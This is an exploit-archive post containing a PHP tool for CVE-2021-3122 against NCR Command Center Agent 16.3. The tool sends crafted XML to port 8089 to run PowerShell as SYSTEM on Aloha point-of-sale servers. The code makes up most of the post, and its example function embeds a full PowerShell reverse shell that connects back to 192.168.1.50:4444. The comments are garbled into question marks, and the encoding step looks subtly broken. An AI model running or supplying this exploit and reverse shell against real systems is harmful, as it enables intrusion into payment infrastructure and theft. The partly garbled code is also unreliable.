NCR Command Center Agent 16.3 Remote Command Execution
=============================================================================================================================================
| # Title NCR Command Center Agent 16.3 Remote Command Execution
=============================================================================================================================================
| # Title : NCR Command Center Agent 16.3 RCE Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.ncr.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211034/ & CVE-2021-3122
[+] Summary : This PHP implementation provides a tool for testing the CVE-2021-3122 vulnerability in NCR Command Center Agent version 16.3 on Aloha POS/BOH servers.
The vulnerability allows remote, unauthenticated attackers to execute arbitrary commands with SYSTEM privileges by sending a specially crafted XML document to port 8089.
[+] POC : php poc.php
<?php
class NCRCommandCenterExploit {
private $rhost;
private $rport;
private $verbose;
private $timeout = 30;
public function __construct($rhost, $rport = 8089, $verbose = false) {
$this->rhost = $rhost;
$this->rport = $rport;
$this->verbose = $verbose;
}
/**
* ?????? ?? ???? ??????
*/
public function check() {
try {
$socket = $this->connect();
// ?????? ????? ?????
$banner = $this->readSocket($socket, 1024);
$this->disconnect($socket);
if (strpos($banner, '<cmcsys:myNodeNumber') !== false) {
return "Detected";
}
return "Safe";
} catch (Exception $e) {
return "Safe: " . $e->getMessage();
}
}
/**
* ????? ????? XML
*/
private function generateXml($cmdPayload) {
$workitem_id = rand(1, 9);
$source_node = rand(1, 9);
$exec_statuses = ['Unknown', 'Waiting', 'InProgress'];
$exec_status = $exec_statuses[array_rand($exec_statuses)];
$dest_servers = ['WebServer', 'RdfServer'];
$dest_server = $dest_servers[array_rand($dest_servers)];
$guid = $this->generateGuid();
$xml_body = '<workitemroot commandname="runCommand">';
$xml_body .= '<WorkItem>';
$xml_body .= '<WorkItemId>' . $workitem_id . '</WorkItemId>';
$xml_body .= '<CommandName>runCommand</CommandName>';
$xml_body .= '<SourceNode>' . $source_node . '</SourceNode>';
$xml_body .= '<TargetNode>0</TargetNode>';
$xml_body .= '<Status>' . $exec_status . '</Status>';
$xml_body .= '</WorkItem>';
$xml_body .= '<command>';
$xml_body .= '<Arguments>' . $cmdPayload . '</Arguments>';
$xml_body .= '<Guid>' . $guid . '</Guid>';
$xml_body .= '<Result></Result>';
$xml_body .= '<destserver>' . $dest_server . '</destserver>';
$xml_body .= '</command>';
$xml_body .= '</workitemroot>';
$xml_body .= '<:EOM:>';
return $xml_body;
}
/**
* ????? GUID ??????
*/
private function generateGuid() {
if (function_exists('com_create_guid') === true) {
return trim(com_create_guid(), '{}');
}
$data = random_bytes(16);
$data[6] = chr(ord($data[6]) & 0x0f | 0x40); // version 4
$data[8] = chr(ord($data[8]) & 0x3f | 0x80); // variant
return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
}
/**
* ????? ????? PowerShell
*/
private function createPowerShellPayload($encodedPayload) {
// ????? PowerShell ????????
$payload = "powershell -exec bypass -enc " . $encodedPayload;
return $payload;
}
/**
* ????? ?????????
*/
public function exploit($payload) {
try {
$socket = $this->connect();
if ($this->verbose) {
echo "[+] Connected to {$this->rhost}:{$this->rport}\n";
}
// ????? ??????? (???? ??????? base64 ???)
$encodedPayload = base64_encode($payload);
$cmdPayload = $this->createPowerShellPayload($encodedPayload);
// ????? XML
$payloadXml = $this->generateXml($cmdPayload);
if ($this->verbose) {
echo "[*] Generated payload XML\n";
}
// ????? ???????
$this->writeSocket($socket, $payloadXml);
if ($this->verbose) {
echo "[*] Payload sent\n";
echo "[*] Check your listener\n";
}
// ????? ????????? (???????)
$response = $this->readSocket($socket, 4096);
$this->disconnect($socket);
return [
'success' => true,
'response' => $response
];
} catch (Exception $e) {
return [
'success' => false,
'error' => $e->getMessage()
];
}
}
/**
* ??????? ??????
*/
private function connect() {
$socket = @fsockopen($this->rhost, $this->rport, $errno, $errstr, $this->timeout);
if (!$socket) {
throw new Exception("Failed to connect: {$errstr} ({$errno})");
}
// ????? ???? ???????/???????
stream_set_timeout($socket, $this->timeout);
return $socket;
}
/**
* ????? ???????? ??? ???????
*/
private function writeSocket($socket, $data) {
$written = fwrite($socket, $data);
if ($written === false) {
throw new Exception("Failed to write to socket");
}
return $written;
}
/**
* ????? ???????? ?? ???????
*/
private function readSocket($socket, $length) {
$data = fread($socket, $length);
if ($data === false) {
throw new Exception("Failed to read from socket");
}
return $data;
}
/**
* ??? ???????
*/
private function disconnect($socket) {
if (is_resource($socket)) {
fclose($socket);
}
}
/**
* ???? ??? ??????? ?????
*/
public static function exampleUsage() {
$target = "192.168.1.100";
$port = 8089;
$exploit = new self($target, $port, true);
echo "[*] Checking target...\n";
$checkResult = $exploit->check();
echo "[*] Check result: {$checkResult}\n";
if ($checkResult === "Detected") {
// ????? PowerShell ????? ????
// ????? ??????? ??? ?????????
$reverseShellPayload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.50",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()';
echo "[*] Executing exploit...\n";
$result = $exploit->exploit($reverseShellPayload);
if ($result['success']) {
echo "[+] Exploit executed successfully\n";
if (!empty($result['response'])) {
echo "[+] Response: " . htmlspecialchars($result['response']) . "\n";
}
} else {
echo "[-] Exploit failed: " . $result['error'] . "\n";
}
} else {
echo "[-] Target not vulnerable or service not detected\n";
}
}
}
// ??????? ????? ?? ??? ???????
if (php_sapi_name() === 'cli') {
$options = getopt("h:p:v::", ["help", "check", "exploit:"]);
if (isset($options['h']) || isset($options['help'])) {
echo "NCR Command Center Agent RCE Exploit (CVE-2021-3122)\n";
echo "Usage:\n";
echo " -h <host> Target host\n";
echo " -p <port> Target port (default: 8089)\n";
echo " -v Verbose mode\n";
echo " --check Check if target is vulnerable\n";
echo " --exploit <payload> Execute exploit with payload\n";
echo "\nExample:\n";
echo " php " . basename(__FILE__) . " -h 192.168.1.100 --check\n";
echo " php " . basename(__FILE__) . " -h 192.168.1.100 -v --exploit 'whoami'\n";
exit(0);
}
if (isset($options['h'])) {
$host = $options['h'];
$port = isset($options['p']) ? $options['p'] : 8089;
$verbose = isset($options['v']);
$exploit = new NCRCommandCenterExploit($host, $port, $verbose);
if (isset($options['check'])) {
$result = $exploit->check();
echo "Target: " . $host . ":" . $port . "\n";
echo "Status: " . $result . "\n";
}
if (isset($options['exploit'])) {
$payload = $options['exploit'];
$result = $exploit->exploit($payload);
if ($result['success']) {
echo "Exploit executed successfully!\n";
} else {
echo "Exploit failed: " . $result['error'] . "\n";
}
}
} else {
echo "Error: Target host is required. Use -h for help.\n";
}
}
// ??????? ????? ?????? (????? ??????? ????????)
// NCRCommandCenterExploit::exampleUsage();
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================